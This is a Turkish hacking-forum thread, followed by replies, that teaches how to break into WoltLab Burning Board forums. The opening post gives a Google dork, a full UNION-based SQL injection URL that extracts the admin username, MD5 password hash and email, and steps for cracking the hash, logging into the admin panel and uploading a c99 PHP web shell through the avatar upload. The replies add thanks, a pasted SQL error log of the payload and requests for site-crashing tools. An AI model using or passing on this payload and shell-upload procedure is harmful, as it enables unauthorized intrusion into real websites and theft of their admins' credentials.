Google'den inurl:info_db.php aratalım.

önümüze bir sürü site gelecek.Biz bunlardan herhangi birini seçioruz.

Sonra sıra info_db.php olan kısımla aşagıda ki kodu değiştiriyoruz...


Alıntı:
info_db.php?action=file&subkat id=1&noheader=1&fileid=-1/**/UNION/**/SELECT/**/0,0,0,username,password,0,0,0, 0,0,email,0,0,0,0,0,0,0/**/FROM/**/bb1_users/**/where/**/userid=1
örnek

Alıntı:
örneksite.com/wbb2/info_db.php
bunu şöle yapıoruz


Alıntı:
örneksite.com/wbb2/info_d...re/**/userid=1
Not: 'No exploit' derse açık kaptılmıştır

Userid=1 Genelde Admindir
Userid=2,3,4 Diğer yetkililer olabilir.

Buna göre Userid=1 Bırakıp deneyin Karşınızda md5 gelecektir.
Adminmi değilmi ise mailinde gözükür sql injek mailide alacak şekilde ayarlı,adminin maili site uzantılıdır genellikle.

Admin Md5'inide aldık sıra geldi bunu kırmaya.
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..

Bu adresten ekliyeceksiniz Md5'inizi kırmasını bekliyeceksiniz.

Size birşey diyeyim; 10 tane md5 verdiysem 7'sini kırdı emin olun hemde çok kısa bir zamanda kırmaz demeyin direk ekleyin arkadaşlar.

Sonra Md5'ide kırdık,admin kullanıcı adı ve şifresi ile login olunuz.

Daha sonra Admin CP adlı menüden(genelde üstte olur) admin paneline gidiniz.Bulamassanız site/acp'den girebilirsiniz.

Bu panel dili değişik olduğu için karışık genellikle.Buradan Avatar adı geçen aşağılara doğru bir menü vardır.Nasıl derseniz 3-4 tane Avatar XXX die menüler vardır alt alta bunların 1 veya 2.sine tıklayın GÖZAT butonu görükecektir.
Oradan istediğiniz php dosyasınızı seçip önerilen c99 servera atınız.Siz attıktan sonra upload edilenleri gösteren bir bölüme yönlendirecek.Ordan dosyasını bulun,adreside yazar ordan girin.

Upload ettiğim dosya nerede?

Sizin paneliniz şu; site.com/forum/acp
Site ise avatarı site.com/forum/images/avatars/avatarx-.php şeklinde atar oradan bakıcaksınız.
C99:

saol sadrazam senin paylaşımların diğer arkdaşlardan iyi çok tşk

bu yöntem çok eski işe yaramaz

paylasım ıcın saol kardes

hadi şu siteyi çökert bakalım Sitedeki Linkleri Sadece Üyelerimiz Görebilir..

100 kere yayınlandı

hadi şu siteyi çökert bakalım Sitedeki Linkleri Sadece Üyelerimiz Görebilir..

kardeş aynı şeyi yazıp durma be:mad:

sadrazam kardeş emeğine sağlık

eyw ama biraz eski

sadrazam bu siteyi çözemedim Sitedeki Linkleri Sadece Üyelerimiz Görebilir.. burdan nereye giripte Md5 i yazacaz yardımcı olursan sevinirim.

emeğe saygı

sadrazam bu siteyi çözemedim Sitedeki Linkleri Sadece Üyelerimiz Görebilir.. burdan nereye giripte Md5 i yazacaz yardımcı olursan sevinirim.

cevap:
kardeş üsteki menüde cracker var oraya tıkla

slm
slm
slm
slm
arkadaşlar nasılsınz ben site cökerme pırogramı arıyorum yardım adebiirmisniz

sasol kardeş

arkadaşlar bende yapıcam heralde deniyorum teşekkürler ama bende md5 i kırmayı bilmiyorum lütfen yardım

yaa arkadaşlar hep böyle şey çıkıyo yaa

SQL-DATABASE ERROR

Database error in WoltLab Burning Board (2.3.6): Invalid SQL: SELECT * FROM bb2_info_db_data WHERE db_d_id=-1/**/UNION/**/SELECT/**/0,0,0,username,password,0,0,0, 0,0,email,0,0,0,0,0,0,0/**/FROM/**/bb1_users/**/where/**/userid=1
mysql error: Table 'd002573e.bb1_users' doesn't exist
mysql error number: 1146
mysql version: 4.0.23-Max-log
php version: 4.4.2
Date: 23.04.2007 @ 17:24
Script: /info_db.php?action=file&subkat%20id=1&noheader=1&fileid=-1/**/UNION/**/SELECT/**/0,0,0,username,password,0,0,0,%200,0,email,0,0,0,0 ,0,0,0/**/FROM/**/bb1_users/**/where/**/userid=1
Referer:

sadrazam eline sağlık abiiiii***********

Eskİ Bu Artik (:

saol paylaşımın için

Sitedeki Linkleri Sadece Üyelerimiz Görebilir..

çözemien arkdaşım burdan direk ulaşabilirsin

ama md5 kırmak md5 almaktan daha zor be

tebrikler güzel paylaşımm

Ya saçmalamayın 5 kişi 10 kişi onları hackledi eee diğerleri ne yapacak?

saol sadrazam güzel paylaşım eline sağlık

saol Sadrazam kardes yeni baslayanlara cok yardimci oluuyosun bu arada emege saygi

paylaşım güzel sadrazam çok thanks

100 kere yayınlandı

sende heryerde bunu diyosun be kardeşim yayınlandıysa kanıtla adamların emeğine saygısızlık etme emeğe saygı duyun biraz :mad:

abi yarısı exploit dior yaw :D

yapamadımmm:(

gsl çok gsl bilginle bizi aydınlattığın içn tşşkürler

saol...

Tşk Ler...

sadrazama güvenmeyen bizden diildir sadrazam abim beni tanır beyaz cocuk ben SaDRaZaM_T€am türk hacker arkandayız abi özellikle beN

güsel paylaşımlar... ellerine saglık...

arkadşalar kaç kere yayınlandığını sayamadığım açıkları verip kirlilik yapıyorsunuz... konuya kilit lütfen!!

teşekkurler verildi ama en açık anlatılışı burda.teşekkurler sadrazam

no expolit diyo